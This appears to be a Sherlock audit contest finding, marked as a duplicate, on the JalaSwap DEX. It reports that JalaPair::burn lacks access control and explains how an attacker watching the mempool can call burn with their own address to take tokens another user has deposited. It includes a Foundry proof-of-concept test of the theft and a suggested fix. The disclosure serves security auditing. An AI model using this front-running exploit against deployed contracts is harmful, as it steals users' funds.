Broken access control on JalaPair::burn allows attackers to steal other users tokens

Summary

The JalaPair::burn function allows anyone to steal user's deposited tokens to JalaPair contract as it does not implement access control of who can call it. This means that if a user "A" deposits his liquidity tokens (LP) to JalaPair an attacker B could call burn() with his address as arg and receive user's A tokens

Vulnerability Detail

The vulnerability exists in JalaPair::burn function because it doesnt restrict who can call burn after some liquidity is deposited, ie, it doesnt keep track of who deposited liquidity tokens.
Burn function only checks if some user deposited LP tokens and calculate how many token0 and token1 to send to to address:

function burn(address to) external lock returns (uint256 amount0, uint256 amount1) {
    // ... snippet
    // check if some liquidity LP is deposited
    uint256 balance0 = IERC20(_token0).balanceOf(address(this));
    uint256 balance1 = IERC20(_token1).balanceOf(address(this));
    uint256 liquidity = balanceOf[address(this)];
    //... snippet ... 
    // Calculate shares of pool  
    amount0 = (liquidity * balance0) / _totalSupply; // using balances ensures pro-rata distribution
    amount1 = (liquidity * balance1) / _totalSupply; // using balances ensures pro-rata distribution
    if (amount0 == 0 || amount1 == 0) revert InsufficientLiquidityBurned();
    // Burn LP tokens  
    _burn(address(this), liquidity);
    // Sends token0 and token1 to `to` address
    _safeTransfer(_token0, to, amount0);
    _safeTransfer(_token1, to, amount1);
    // ... snippet ...

So, an attacker could monitor tx pool to see when a user A sends LP tokens to JalaPair.
Next attacker could call burn using his address as argument ie burn(attacker) to steal user's A token0 and token1 tokens.

Impact

The impact of this vulnerability includes:

Stealing tokens of other users

Loss of confidence in JalaSwap contracts
The following PoC shows an user A depositing LP tokens and attacker call it burn to obtain user shares
First import console library

import "forge-std/console.sol";

And include this test in test file JalaPair.t.sol

function test_BurnStealLiquidity() public {
    // create address for attacker
    address attacker = makeAddr("attacker");

    // User transfer tokens to JalaPair and mints LP tokens
    token0.transfer(address(pair), 1 ether);
    token1.transfer(address(pair), 1 ether);
    pair.mint(address(this));

    uint256 liquidity = pair.balanceOf(address(this));
    console.log("liquidity = pair.balanceOf(address(this)) -> ", pair.balanceOf(address(this)));

    // User transfer LP Pool tokens to JalaPair to get shares back
    pair.transfer(address(pair), liquidity);

    // Attacker token0 and token1 balance before calling burn without depositing LP tokens
    console.log("token0.balanceOf(attacker) before -> ", token0.balanceOf(attacker));
    console.log("token1.balanceOf(attacker) before -> ", token1.balanceOf(attacker));

    // Attacker call burn with his address without depositing LP tokens before
    vm.prank(attacker);
    pair.burn(address(attacker));

    // Attacker token0 and token1  balance after calling burn
    console.log("token0.balanceOf(attacker) after -> ", token0.balanceOf(attacker));
    console.log("token1.balanceOf(attacker) after -> ", token1.balanceOf(attacker));
}

Code Snippet

https://github.com/sherlock-audit/2024-02-jala-swap/blob/main/jalaswap-dex-contract/contracts/JalaPair.sol#L185-L207

Tool used

Manual Review

Recommendation

To mitigate this vulnerability it is recommended to change the burn process logic.
Instead of requiring that user send LP tokens first and then call burn, reimplement burn logic to transfer LP tokens from user inside burn function.
The ProposalFix ensures that stealing tokens is no longer possible using the described scenario

Duplicate of #95

sherlock-audit / 2024-02-jala-swap-judging

cryptonoob - Broken access control on JalaPair::burn allows attackers to steal other users tokens #232